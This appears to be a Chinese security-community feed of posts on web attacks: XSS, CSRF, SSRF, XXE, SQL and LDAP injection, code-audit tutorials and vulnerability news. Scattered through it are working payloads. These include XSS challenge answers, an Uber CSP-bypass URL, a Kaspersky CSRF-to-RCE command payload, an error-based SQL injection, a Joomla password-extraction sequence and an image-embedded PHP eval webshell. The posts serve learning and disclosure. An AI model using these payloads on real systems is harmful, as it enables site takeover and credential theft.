匿名用户 提问： 你好，我看你在微博里面发的XSS,其中有一个
<title><img src="</title><img src=x onerror=alert(1)//"\>其中的解释是title的解析高优先级造成的，能介绍下这方面的知识，或者指点要看的书籍吗？
没什么特别的书，虽然我们那本《Web前端黑客技术揭秘》也有相关介绍。
这方面的知识就是吃透浏览器 DOM，建议去读 Webkit 的源码，及浏览器 F12 去看看 DOM 的怪异解析。
匿名用户 提问： 在xss的时候，输出的内容在html中，这时候可以用html实体编码来替换< >; 如果把< > 事先转译了，浏览器就不会解析了，会把左右接括号原样输出到页面，这是html 自解码机制，能否详细说下自解码原理，原样输出尖括号而又不执行？ 多谢！
如果你买过我曾经的那本书，里面正好提到了自解码机制。但你的问题实在太模糊，我无从再深入回答。
#挑战#
既然刚刚有同学说想来些“挑战”，嗯，前段时间想练手 Google 的 CTF，后来发现这个 XSS Game，然后花了一个下午独立通关了 Google 的这个 XSS 挑战（这个应该是比较新的挑战了）。总共 8 关，不那么简单，如果谁独立通关前 3 关（前 3 关其实很简单），那么请评论留言，下周我会公布前 3 关的细节思路，我的思路绝对有亮点，如果你真的玩进去了...
对了，其实攻略有人写过（虽然比较粗糙），如果你偷懒去看，而不是自己独立完成的，那还是别来评论了吧。
挑战地址：
要翻墙。
如果没什么人玩，以后还是别期待我分享前端黑漏洞挖掘相关的东西了...😏
...
<script>alert()</script>
第二题就是双引号和单引号括号urlencode输入
第三题 \" 可以变成 "
',alert(),'
0');alert('
'onerror='alert()'
...
#姿势#
#漏洞复现#
#代码审计#
IPB是一个集论坛展示与CMS的PHP平台。今年五月份爆出了一个漏洞，在4.1.19.2以下的版本，在convertutf8中存在xss，通过该xss可以构造csrf。这套系统本身是不开源的，但是我为了复现该漏洞，从网上下载了该平台的一个盗版。该文件我已经作为附件上传到小密圈中了，有兴趣的圈友可以看看。
以后我会转为分享一些web代码审计的案例，有问题的欢迎评论区留言。
分享文件:
...
...
#资源#
推荐个 XSS 资源大全：XSS Payloads
推：@XssPayloads
都需要翻~墙才能访问。更新还是很及时全面的，也算难得了。
这个网站我第一次知道还是当时我的 XSS'OR 早期版本被收集在上面。这个网站做了我以前一直想做的事，收集各种优秀攻击、利用代码、Papers 等，并不断更新。
对 XSS 感兴趣的同学可以好好浏览一遍。
...
...
#科普#
XSS 与 CSRF
以下转自我之前在「XSS'OR技能」圈子里的分享，因为正好有同学遇到这个困惑，科普供参考。
XSS
XSS(Cross Site Script，缩写为了区分 CSS，把 C 改为 X，X 本就有 Cross 十字的含义），中文称为“跨站脚本”。我们只要能把我们可控的 JavaScript 脚本内容注入到目标页面，那这个页面就存在 XSS 漏洞。而 JavaScript 就是 XSS 这个过程的核心魔法。
JavaScript 这个核心魔法能在哪里释放？你看看整个 DOM(Document Object Model) 树，能执行 JavaScript 的地方主要有：
<script>标签内；- 任意 HTML 标签的 on 属性里；
- 一些标签的 src/href 属性里的 javascript: 伪协议
- ...
那么，这些地方，就是我们核心魔法释放的地方。
验证这个魔法是否释放成功，我们经常用 alert("XSS"); 来作为概念验证，效果就是：弹了个框，内容是“XSS”。我们把这种概念验证称为 PoC。
而，在真实实战，我们的核心魔法不能这样简单，必须很直接很强大，那这个过程就是 Exploit 的过程。
这种 Exploit 里往往冲刺着社会工程学，所以可以很猥琐，也正因为这个，玩这个玩的好的黑客，我们称之为猥琐流。这样看来，如果玩不好 JavaScript 这个核心魔法，且不够猥琐，那么是玩不好 XSS 的。😬
根据上面的描述，我们可以把整个 XSS 过程区分为两大部分：
- XSS 漏洞挖掘；
- XSS 漏洞利用；
这两大部分充满着艺术，入门不难，精通难。后面我们会逐渐让大家感受到这句话的深意。
看完这个科普，如果你被这种魔法吸引了，那么，搞起！先吃掉 JavaScript 这个核心魔法！
BE EVIL, DON'T BE BAD.
CSRF
CSRF(Cross Site Request Forgery)跨站请求伪造，这个核心点在于：
从目标用户浏览器发出的 HTTP 请求不是用户预期内的，那么都可以认为这是一种跨站请求伪造，关键不在“跨站”，而在“请求伪造”。
那么，通过怎样的机制可以去“请求伪造”，或者说简单点，“发出请求”？回答这个问题前，首先得区分下请求方式都有哪几种？
- GET 请求，就是一个 URL 形式
- POST 请求，需要提交表单
- 其实还可以独立提一种请求方式，就是 AJAX 这种异步请求
- 其实其实，如果涉及到跨域，就不是提 AJAX 了，而是提 CORS(Cross-Origin Resource Sharing)跨域资源共享。
注：AJAX 与 CORS 共同点在于都是基于 XMLHttpRequest。
区分这些请求方式后，我们就可以挖掘都有什么机制可以发出请求，比如：
- GET 请求，一堆的标签都可以发出这个请求，如：
<img src="[目标 URL]"> - POST 请求， 表单可以发出
- AJAX，既然不涉及跨域，那这个时候需要目标页面同时存在一个 XSS 漏洞，其实如果目标页面存在 XSS 漏洞，就不用去提 CSRF 这个事了
- CORS，涉及到跨域，这个机制其实有点复杂，后面再展开说
上面介绍的都是基本情况，如果要展开，单如 GET 请求，还有个很重要的玩法分支是：JSON Hijacking，这个也会在以后展开说。
另外，要不是现在 Flash 已死，基于 Flash 的玩法绝对是一个极其耀眼的分支，可惜了...
但，自从我玩深入 CORS 之后，在 HTML5&ES6 时代下的前端黑，CSRF 耀眼持续。比如我上面发的那个 CORSBOT，你理解其中精华了吗？
继续回到 CSRF 本身，有个关键点得特别提下，那就是 Cookies 的问题。
如果是 XSS，先不考虑 HttpOnly（这个鬼可以自己查阅相关资料），通过 JavaScript 我们可以拿到 Cookies，这个基本就代表用户身份了，后续利用这些 Cookies 就可以做坏事。而做坏事，CSRF 也一样可以办到，但就不是拿到 Cookies 了，而是借用 Cookies，所谓的“借刀杀人”。
之前科普 XSS 说到，XSS 的核心魔法是 JavaScript。而 CSRF 的核心魔法，相比之下，不是 JavaScript，而是 HTTP 请求。CSRF 的各种姿势及成败与否，全都在于这个 HTTP 请求是否发对。
那么，最后，你真的了解 HTTP 请求吗？
...
...
#挑战#
Google XSS Game 解读公布
好吧，放鸽子有点久，懒得要死，差点忘了，哪怕圈友提醒了好几次。有一个圈友@� 自己通关并且写了篇非常清晰的面向新人的教程：
「从入门到入狱系列」 - xssgame 通关经验 | 灰色地带
供玩这个挑战的同学参考学习。
感谢@� 的分享。
顺便贴上我之前的通关记录，非常杂乱，将就看看，懒，见评论。
分享文件:
#资源#
XSS 能做什么
这篇 Paper 作为入门了解不错，英文也简单。作者的 PPT 做得也挺有趣的。推荐。
昨天我在知乎 Live 里做的“如何保护自己的隐私与安全”线上分享里提到了 iPhone 端的 App XSS 威力，这个在实际攻击里脑洞不小，算是开启了 XSS 的一扇新门。
未来都会逐步公布。
分享文件:
Vesper 提问： 碰到一个伪静态站。XSS提交留言需审核，登录页点不出来，看了源码无奈学艺不精，有点焦灼，无头苍蝇。希望余弦大大能科普一下这方面的渗透技巧，给我指一下路。
可以用 XSS 盲打呀，可以拿 XSS'OR 去做盲打测试，如果不仅是测试，自己可以 fork XSS'OR，修改代码很容易，就可以打造一个自己的盲打平台。
#姿势#
分享一个最新的Safari XSS供大家把玩把玩，权当抛砖引玉
<script>location.href;'javascript:alert%281%29'</script>
...
这类trick都可以通过简单的fuzzing找到。
...
#基础#
XSS 编码基础
在之前的分享中，圈子里的小伙伴问过我关于编码的问题。
先感谢下小伙伴的反馈与提问，证明确实用心看了，没白写[呲牙]。
这边也整理了一篇很基础的编码知识给刚入门的同学：
文中提及了：URI 百分号编码、HTML 实体编码、JS Unicode 编码、JS 8进制、16进制转义等内容。
也希望大家在日常分享里多互动，形成一个良好的循环。
白某某人 提问： xss理论上说只要能执行javascrap代码就能执行呀，什么您之前在精华中的一篇文章讲到一个xss是safari xss？意思是只有safari才能执行这个xss吗？
你理解有偏差 xss跟浏览器平台无关 只是之前说的那个xss只能在Safari上执行成功，Chrome或者edge 对这类xss已经有防护了
...
...
0x01 简介
主要根据乌云大约6000条xss中常见的xss触发点和平时测试存在xss可能性比较大的业务位置进行的一份小记，方便快速寻找xss，以及打开个思路。
0x02 触发点
- GET/POST以及header中可控参数
- Wifi热点/设备编号构造payload(有些站点会记录历史登录的设备等你这方面信息传到服务器)
- 电话本、短信(有的app会获取你电话本，通话记录等信息，反日)
- 多平台验证构造的payload(一般开发进度不一致，导致可能苹果端的修复了，安卓的还没有)
- 用户注册信息、用户名处
- 构造好的payload存放在二维码、或者隐性的让用户触发(比如写一个类似antigravity模块)
- 直播评论位置
- 在线客服交流
- 分享到第三方平台
- 富文本相关的编辑器
- 企业自己搭建的邮箱
- 站内消息/私信
- 各类搜索
- 浏览器插件
- 发红包xss
- 记事本、Word、PDF等一些在线预览功能
- Flash
- 搜索框
- 搜索过后的历史记录
- API接口
- 上传功能点相关位置
- 报销发票处
- 移动app用户反馈
- MHTML协议
- 站点的手机web端(一般waf薄弱)
- ATM机
- 论坛等伪协议
- 回复短信触发接受平台
- 在线音乐添加歌词、修改上传本地音乐等属性
- 图片上传、属性等可控参数
- 截图上传
- 页面读取系统时间
- OCR识别后触发xss
- 微信公共号
- 购物下单
- 百度快照
- 举报页面
- 自动应答机器人、与智能设备对话输出
- 收藏夹
- Whois信息xss
- 语音翻译
- KTV点歌
- 一句话一切可控输入、输出
...
...
#姿势#
从 Uber DOM XSS 案例看到的几个点
给大家来个简单解读吧，首先是这篇 Uber DOM XSS 发现过程 Write-up：
https://stamone-bug-bounty.blogspot.fr/2017/10/dom-xss-auth_14.html
触发：
https://auth.uber.com/login/?next_url=data:accounts.uber.com;text/html;charset=UTF-8,<html><script>window.location="https://reddit.com";</script></html>&state=x
依靠的是 data: 这个伪协议，这个伪协议背后添加的 accounts.uber.com 字符串是用于 Uber 后端过滤检查绕过的（可以想象 Uber 的后端过滤检查机制很单一）。
之后作者又做了第二次绕过，针对的是 CSP 保护机制，这个保护机制绕过的经典技巧是白名单域下的 JSONP XSS 引入：
https://auth.uber.com/login/?next_url=data:accounts.uber.com%3Btext/html%3Bcharset=UTF-8,%3Chtml%3E%3Cscript%20src=%22https://app-lon02.marketo.com/index.php/form/getKnownLead?callback=alert(document.domain)%3B//%22%20data-reactid=%22341%22%3E%3C/script%3E%3C%2Fhtml%3E%26state%3Dx&state=x
不过这里需要注意的是 data: 协议这种写法技巧可能只适用于 Firefox 浏览器。
然后是相关的两个资源：
Open Url Redirects
https://zseano.com/tutorials/1.html
还有个是 qz 前两天在本圈分享的一个跳转漏洞测试工具：
GitHub - ak1t4/open-redirect-scanner: open redirec...
这个工具代码极少，原理很简单请自行阅读，运行技巧也很 Unix:)，如下：
while read -r line;do python redirect.py.1 uber.list $line;done < payloads.list
最后，把上面这些经验仔细吸收后，这种漏洞是可以自动化挖掘的，奖金属于勤劳的人们:)
...
...
#姿势#
XSS 读取服务器任意文件
小技巧，这个案例可以参考参考，其实这种已经不算是传统的 XSS，看起来像罢了，这个叫服务端 JavaScript 命令执行更合适:)
分享文件:
[Local File Read via XSS in Dynamically Generated PDF.pdf](https://github.com/ChrisLinn/greyhame-2017/blob/master/shared-files/Local File Read via XSS in Dynamically Generated PDF.pdf)
...
...
#姿势#
Kaspersky Anti-Virus File Server Multiple Vulnerabilities
Kaspersky Anti-Virus File Server Multiple Vulnerab...
最近很忙，这篇早想分享，忘记了。
里面有个技巧：CSRF to RCE，很低级的漏洞，但威力很大，这种“跨”属于“跨应用”，这类漏洞其实不少。
Payload 如下：
"notifier": {"Actions": [{"Command": "touch /tmp/pepperoni", "EventName": 22, "Enable": true,
"__VersionInfo": "1 0"}]
攻击请求如图所示。攻击的是 9080 端口，利用时只需诱骗目标用户访问一个链接，触发这段攻击请求就可以成功。就是个典型的 CSRF 过程，只是这次“跨应用”了，搞掉了卡巴斯基的反病毒文件服务。
#姿势#
绕过 CSRF 保护的10种方法
10 Methods to Bypass Cross Site Request Forgery (C...
我补充几个：
- CORS 这个跨域资源共享技巧
- Referer 泄露 token 技巧
- 多个 CSRF 结合技巧
- 如果要提 Flash，还有 XFS 及 XFS 反射技巧
- 大家来脑洞补充吧:)
...
。另外，也可以使用burp的sequencer功能分析。
...
#姿势#
如何进行服务端请求伪造(SSRF)
这篇文章推荐大家看看：
How To: Server-Side Request Forgery (SSRF) | Hacke...
可以了解到的知识点：SSRF、Ruby 样例、nc 反弹、一些 bypass、内网端口扫描技巧、跨协议技巧，等。
这篇文章英文很简单，没多少生僻的词。
关于 SSRF 这个攻击，我算是很早就玩进去的人了，2013/2/11-12 的记录可以参考我的文章：
欢迎学习的同学互动。
...
...
#HITB#
今天最后的一个议题，和 SSRF 有关的，也是很期待的一个，来自台湾的 Orange。
大家可以看之前他的这篇，一个很棒的 exploit 过程：
【BlackHat 2017 议题剖析】连接的力量：GitHub 企业版漏洞攻击链构造之旅
之前说了，SSRF 是新 Web 安全里非常重要的一项，之前在本圈也发过相关资料，大家可以自行搜索。
会后我们交流了一个多小时，很 nice。大家对 Red Team 有发自内心的激情。几个来自不同国家与区域的安全人员，交流甚欢。
分享文件:
D1 - Orange Tsai - A New Era of SSRF – Exploiting URL Parsers in Trending Programming Languages.pdf
#科普#
HackerTarget网站ssrf漏洞的利用
第一次：绕过对127.0.0.1限制，利用0.0.0.0:22访问本地22端口，得到回应。，之后官方觉得无所谓，没有服务受到影响。
第二次：写了一bash脚本进行fuzz，发现25端口的SMTP得到了回应，并且测试了gopher协议是否可用。
第三次：写了一个邮件发送的PHP脚本放在了自己服务器，之后利用HackerTarget ssrf漏洞加gopher协议重定向到SMTP服务给自己发送了一份邮件。
Hacking the Hackers: Leveraging an SSRF in HackerT...
#资源#
XXE 及 XXE OOB 攻击清单
XXE 全称：XML External Entity，XML 扩展实体。扩展了，攻击面就来了。
OOB 全称：Out of Band，带外数据，就是把数据传出去的方式，应用场景主要在无回显的场景，也就是所谓的盲打场景。
这里有一份清单，还不错，作为玩到这类攻击时的参考：
https://gist.github.com/staaldraad/01415b990939494879b4
这里漏洞如何挖掘呢，自动化其实也不难，那些 Payloads 发出去，想办法接收判断就好。如果你在渗透时，发现有 XML 格式的数据传输（或 base64 等可逆加密后的），那么就可以顺手一试是否有 XXE 漏洞。
总会存在惊喜的。
#基础#
floor以及updatexml报错注入原理等等
updatexml，ExtractValue等对我来说比较容易接受，但是floor好像要绕一点。
在SQL注入时，floor报错是比较常用的，将其与group by相结合，达到报错的效果。
举个栗子：
http://wing.com?id=1 and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
但是原理可能有些人还不了解，反正属于基础类话题，研究的比较透彻的大牛有自己的见解的话，希望指教一二。
mysql官方文档中，rand这个函数是不能和order by 、group by 语句一起使用的，会爆出记录重录，然后我们查询的version()，current_user(）啥的都可以利用这个得到，但是可以这样： SELECT * FROM tbl_name ORDER BY RAND();
至于原理嘛，我比较懒，表达能力不是很好，这是我看到的几篇paper，给大家分享下。
关于Mysql注入过程中的五种报错方式及具体利用案例 – jinglingshu的博客
Mysql报错注入原理分析(count()、rand()、group by)
总之，还是得了解mysql。QAQ！
...
...
#姿势#
#代码审计#
其实昨天就想发了，但是没来得及，wordpress wpdb sql注入这个预警。格式化字符串的问题之前就有人发过，我觉得这个问题可能是当前情况sql注入死灰复燃的一个突破口。 【漏洞预警】WordPress全版本WPDB SQL注入预警及简要分析 - 安全客 - 有思想的安全...
再补上一篇之前讲解格式化字符串的文章。
#现代CMS框架审计系列#
海洋CMS 6.55 版本系列，第一篇关于SQL注入的，希望对大家有所帮助。[害羞]
来自@荣 的分享。
...
...
#姿势#
#代码审计#
#漏洞复现#
这是六月份的一个漏洞，当时漏洞作者直接在自己的blog公布细节了，但是对于初学者来说可能理解起来还是有点吃力，所以我对这个漏洞进行了跟踪复现，希望各位能有所收获。
同样，5.08源码已经作为附件直接上传到小密圈中供各位圈友研究学习。
如有任何问题，欢迎评论区留言指教。
分享文件:
...
...
#代码审计#
#姿势#
之前发了两篇代码审计的文章，但是感觉大家没什么反应，可能是因为有很多圈友缺乏相应的基础，看起来很费力。因此我决定从零开始讲代码审计，还是那句话，希望各位能有所收获。
今天先来讲环境搭建。首先，你要有一台靶机和攻击机，靶机的操作系统随意，win或者Linux都可以。如果只想放在本地，那么服务器的ip地址不能是127.0.0.1，需要绑定其他ip地址，如192.168.1.100,这样才能使用burpsuite抓包。下面是搭建资料链接。(这一段经 @大宇 同学提醒，已更正)
Linux:
（这个更简单，一键安装）
Win:
一个集成环境的软件，非常方便，可以选择版本。
我自己是用Mac的本机当靶机的，然后拿kali虚拟机当攻击机的，环境搭建使用的是MAMP PRO，因为这个集成相当方便，可以快速切换服务器或者php版本。
接下来就是按照phpstorm以及对于代码审计最重要的功能Xdebug。phpstorm各个操作系统都有对应版本，网上都可以找的到。我就不说了。
xdebug的安装资料则如下：
安装之后的配置：
概括来说就是先安装xdebug，然后修改php配置文件让它找到xdebug并且设置相关的配置信息，最后再在phpstorm里对应起来。最后，浏览器(chrome)记得安装插件jetbrains ide support，配置的地址跟端口也和之前一样。
如果无法顺利配置环境，仔细阅读paper当中的xdebug的原理，思考是哪个环节出了问题，然后再排查。
有人提到seay审计工具。其实也是可以的，但是只有win版本，相比于phpstorm的不同是加入了自动审计功能。不想麻烦配置xdebug的同学可以用seay。
如果做完了这些，你已经迈出了代码审计的第一步，接下来我会由浅入深的讲解php代码审计，从下期分享开始我会尝试用视频录制的形式去做，这样连贯性比较好，也更容易听的懂。
最后，之前有人问我拿代码审计牛的博客。其实大家无非想要的就是干货，下面是几个我觉得代码审计这块干货比较多的。
-
知道创宇paper: Paper
-
勾陈安全实验室: 勾陈安全实验室
-
离别歌： 首页 | 离别歌
-
Orange: http://blog.orange.tw/
-
lorexxar: LoRexxar's Blog
如果有人要补充的，欢迎评论区留言。
...
...
#姿势#
#代码审计#
php的配置文件很重要，咱们先从搞懂配置文件开始吧。:)
分享文件:
#姿势#
#代码审计#
好久没发了，最近多补几篇。�这次来看看超全局变量的细节，下次分享咱们直接拿案例实战。
分享文件:
#姿势#
#代码审计#
有意思的点，php图片处理这一块大家近期可以多关注关注。
分享文件:
...
...
#姿势#
#代码审计#
关于discuz任意文件删除的一点思考..
分享文件:
#姿势#
#代码审计#
tyecho getshell 这个漏洞不知道各位有没有关注，最近几天刷的挺多的。我认为这是一个非常好的学习php反序列化漏洞的案例，建议大家仔细研究，最好独立把poc写出来。
新手分析typecho 反序列化漏洞 | 江sir's blog
此外，我自己画了个相当简洁的mindnode图，大家凑合凑合看，希望有用。
分享文件:
#资源#
我不知道世界上最好的语言是什么，但是web狗php还是要学，虽然我摄影技术一般。滑稽:） 一份个人觉得友好的p(pai)h(huang)p(pian)学习笔记，大佬们有干货赶紧发出来给我们菜鸡学习啊。 私藏着发霉咋整，我觉得OK.
分享文件:
#工具#
php webui调试工具
Ytrace是一个PHP代码调试跟踪工具，通过将PHP代码执行过程记录到文件中，再通过webui界面展示出来，并且支持单步调试的方式去查看执行过程。
特性：
- 可以可视化的看到源码文件哪些行被执行了
- 通过点击行号，直接将执行跳转到对应的地方
- 根据单步历史，往回执行
- 设置断点。
ytrace_gui/README_zh.md at master · yangxikun/ytra...
#代码审计#
一个小伙伴翻阅了之前wooyun上泄露的所有漏洞，总结了一篇关于php代码审计的文章，还是比较全面的，算一个学习的脑图，里面涉及的漏洞以编号的形式写出来，没有加特定的平台的域名，请大家自行寻找提供服务的网站，或者自己下载备份查看对应漏洞号的细节。
分享文件:
#漏洞#
S2-052 这个漏洞影响面应该有限，目前来看限制条件两个：
1.使用了rest 这个插件； 2.使用xml数据来传输。
可以优先排查自己是否如此，如果是如此，那影响会很严重。还有及时升级新版总不会错。
S2-052 - Apache Struts 2 Documentation - Apache So...
...
这个生成攻击Payload的项目不错
...
#资源#
从调试环境搭建到 Tomcat 漏洞分析
来自@Shutdown-r 的分享推荐！
Apache9月19日发布了CVE-2017-12616(信息泄露)和 CVE-2017-12615(远程代码执行漏洞)两个高危漏洞，在Apache Tomcat 7.0.81对这两个高危漏洞进行了修复。
虽然大佬们都说两个漏洞比较鸡肋，利用价值不大，但是漏洞思路还是值得大家学习的，时隔快半个月，网上也有很多相关分析文章，这里分享一个知乎专栏，两个漏洞讲的比较详细，而且附带调试环境搭建的教程，对小白非常友好，跟着作者分析一遍，相信会收获良多~
#漏洞#
Struts2 连爆两个洞：S2-054 与 S2-055
我们的 Vulpush 监控第一时间推送了这两个漏洞爆发，从细节来看挺有意思的。
前者是个 DoS 漏洞，当使用 REST 插件时，针对内置的 JSON-lib，除了升级 Struts 外，官方还建议用 Jackson handler 来取代默认的 JSON-lib handler。
后者是个反序列化漏洞，却和 Jackson 有关的，官方建议是升级到最新版本。[捂脸]
S2-054 - Apache Struts 2 Documentation - Apache So...
S2-055 - Apache Struts 2 Documentation - Apache So...
...
...
老七 提问： django写的网站开启了debug，有没有漏洞啥可利用的，django版本是1.10.3
除了知道目标系统一些基本情况之外，我这没有，其他同学有好的利用思路可以说下。
...
...
#威胁情报#
Ruby中Net::FTP类的命令注入漏洞
#294462 NET::Ftp allows command injection in filen...
#姿势#
#python#
今天我来给大家科普科普python当中socket的使用。socket可以说是网络安全编程领域当中，用的最广泛的库了。只要涉及到网络应用层，除非是web，不然都逃不开socket。所以今天我就来为大家介绍介绍socket的使用。
python中socket模块的使用 | D_infinite的小站
以后，我会带来一系列跟python有关的分享。如果有什么问题或者建议的，欢迎在评论区留言指教。
...
...
#基础#
从零构建 TCP / IP 协议
搞安全研究网络协议是基本功。
大家可能听说过 DDoS，DDoS 就是利用网络协议实现的缺陷进行攻击的例子。
我们所有的信息都通过网络协议在传输，了解网络协议有助于我们更深层次的思考问题。
这里有一篇从零开始系列，帮助大家从无到有了解一个协议的诞生过程。
blog/2017_08_12-tcp_ip.md at master · jiajunhuang/blog · GitHub
文中提到的： 《图解 TCP／IP 协议》 《TCP／IP 协议详解卷一：协议》 推荐大家读一读。
至于对网络没有了解的朋友，推荐一本适合入门的网络书籍： 《网络是怎样连接的》 它能帮你快速建立起网络的概念。
...
...
#漏洞#
RTP Bleed 来了，RTP 协议的心脏出血
这个 0day 前些天就看到，不过没重视，现在又看到，还是重视下吧，说不定对一些人有用。
这里影响的实例是：
Asterisk 14.4.0 RTPproxy (tested 1.2.1-2ubuntu1 and RTPproxy 2.2.alpha.20160822 (git))
简单解释下，这个 RTP 协议叫实时传输协议，流媒体应用场景经常会基于这个协议。这次出血和这个协议的设计缺陷有点关系，但并不是完全关系，主要还是和 RTP Proxy 的场景缺陷有关。
带来的直接影响是，可以任意注入伪造音频，可以盗取音视频流，也就是做到所谓的语音通信劫持，只是这种劫持并不需要中间人场景，直接远程搞定！
漏洞官网有更具体描述：
Asterisk 这家被影响的具体描述：
advisories/README.md at master · EnableSecurity/advisories · GitHub
...
...
#漏洞#
Joomla 爆 LDAP 注入漏洞（CVE-2017-14596）
版本在 1.5 到 3.7.5 范围且使用了 LDAP 作为登录认证的 Joomla，都可以被拿下。
被拿下指：管理员账号密码可以通过 LDAP 被注射出来，导致后台沦陷，并可能通过后台自定义扩展来拿下整个网站权限。
这是一个非常低级的 LDAP 注入问题：
XXX;(&(uid=Admin)(userPassword=A*))
XXX;(&(uid=Admin)(userPassword=B*))
XXX;(&(uid=Admin)(userPassword=C*))
...
XXX;(&(uid=Admin)(userPassword=s*))
...
XXX;(&(uid=Admin)(userPassword=se*))
...
XXX;(&(uid=Admin)(userPassword=sec*))
...
XXX;(&(uid=Admin)(userPassword=secretPassword))
升级到 3.8 可以修复这个问题。
参考：
RIPS - Joomla! 3.7.5 - Takeover in 20 Seconds with...
几个基友的总结，上传攻击可以说总结的很详细了。
-----------------QAQ------------------
顺便提出一个问题，seay博客有一段话，关于iis7.5的解析漏洞的利用:
IIS 7.0/IIS 7.5/Nginx <=0.8.37
在默认Fast-CGI开启状况下,在一个文件路径(/xx.jpg)后面加上/xx.php会将 /xx.jpg/xx.php 解析为 php 文件。
常用利用方法： 将一张图和一个写入后门代码的文本文件合并 将恶意文本写入图片的二进制代码之后，避免破坏图片文件头和尾
e.g. copy xx.jpg/b + yy.txt/a xy.jpg
/b 即二进制[binary]模式
/a 即ascii模式 xx.jpg正常图片文件
yy.txt 内容
<?PHP fputs(fopen(‘shell.php’,’w’),'<?php eval($_POST[cmd])?>’);?>
意思为写入一个内容为 <?php eval($_POST[cmd])?> 名称为shell.php的文件
找个地方上传 xy.jpg ,然后找到 xy.jpg 的地址，在地址后加上 /xx.php 即可执行恶意文本。
然后就在图片目录下生成一句话木马 shell.php 密码 cmd。 我在其他地方看到的是上传jpg后再加上/.php，但是昨天我遇到的那个站点，上传后行不通，404状态，用seay的这个方法也不行，而且也不太明白他这个方法的原理。
...
...
Numb 提问： 老大，数据库协议解析或者转发有没有什么开源的方案，如果想自己设计一款数据库审计系统，有没有什么好思路或者开源的框架？
没特别去关注这个，看看圈友有谁了解。
...
golang写的database firewall
...
#资源#
这篇漏洞及修复经验很有意思，其中第3个，居然也能重视，如果国内认这个，可以刷一波了：
Flexport今年在hackerone被报告的6个有趣的漏洞 - FreeBuf.COM | 关注黑客与极客
...
http://www.freebuf.com/vuls/113634.html
...
熟人不宜 提问： 余弦大大，能否安排一下你们团队的哪个大神分享一下流媒体平台（直播）这方面的安全性问题呢？我最近有个直播平台需要做安全测试，感觉除了常规的web安全（身份验证，鉴权，注入，重放，劫持），没有针对RTMP协议的安全用例。谢谢了！
把你问题放出来，大家可以一起讨论。
我的理解是 HTTP 上的那些安全问题（也就是 Web 安全）该测的都需要覆盖，还有网络系统相关的安全问题。而针对 RTMP 协议，这个协议的应用场景来看，就是做流媒体实时传输有关，他们估计关注：
- 顺畅性，不要被拒绝服务
- 不清楚是否有需要解决认证授权的事
...
...
#经验#
新 Web 安全主要就这些关键点：前端（XSS、CSRF），后端（SSRF、XXE、反序列化、模版注入、逻辑漏洞），那些老方式不是没用，而是不要总当重点来提，时代变了...
这句话之前对外发过，不过这里完善了点。对 Web 安全感兴趣并在玩这个的，多投入上面说的这些点。
另外一个大的 Web 安全分支纬度不得不提 Java Web 安全，重要性是被 Struts2 这个漏洞马蜂窝搞起来的。而很多企业级应用，基于 J2EE 构建的应用服务器（如：WebLogic、WebSphere、GlassFish、Resin，还有 JBoss，国内的 TongWeb、Apusic 等），历史上也出过不少安全问题，尤其是前两年的反序列化漏洞。由于这些经常用在企业里，影响会更大，那么漏洞价值也会大很多。
这些都是当下 Web 安全值得重点投入的点。要挖掘其 0day，思路只有一个：把历史所有漏洞能复现的都复现一遍，多总结多琢磨，勤奋出 0day，自古不变的真理！
...
...
#漏洞#
那些年的经典漏洞利用（一），都是带 Logo 炒过的，你能认出几个？
#漏洞#
那些年的经典漏洞利用（二），都是带 Logo 炒过的，你能认出几个？
ss的C语言版server端本地命令执行漏洞 问题出在method参数
Advisory X41-2017-010: Command Execution in shadow...
...
...
URL parser漏洞的发散，作者非常有灵气，肯深入研究。
https://www.blackhat.com/docs/us-17/thursday/us-17...
#经验#
在互联网安全服务公司乙方工作的人或者进行 SRC 众测等相关渗透测试时，经常碰到客户只给一个 "xxx信息管理系统"、"xxx平台"之类的一个 Web 登录界面的系统的链接地址，其它全凭自己造化，去找漏洞吧!
分享文件:
...
...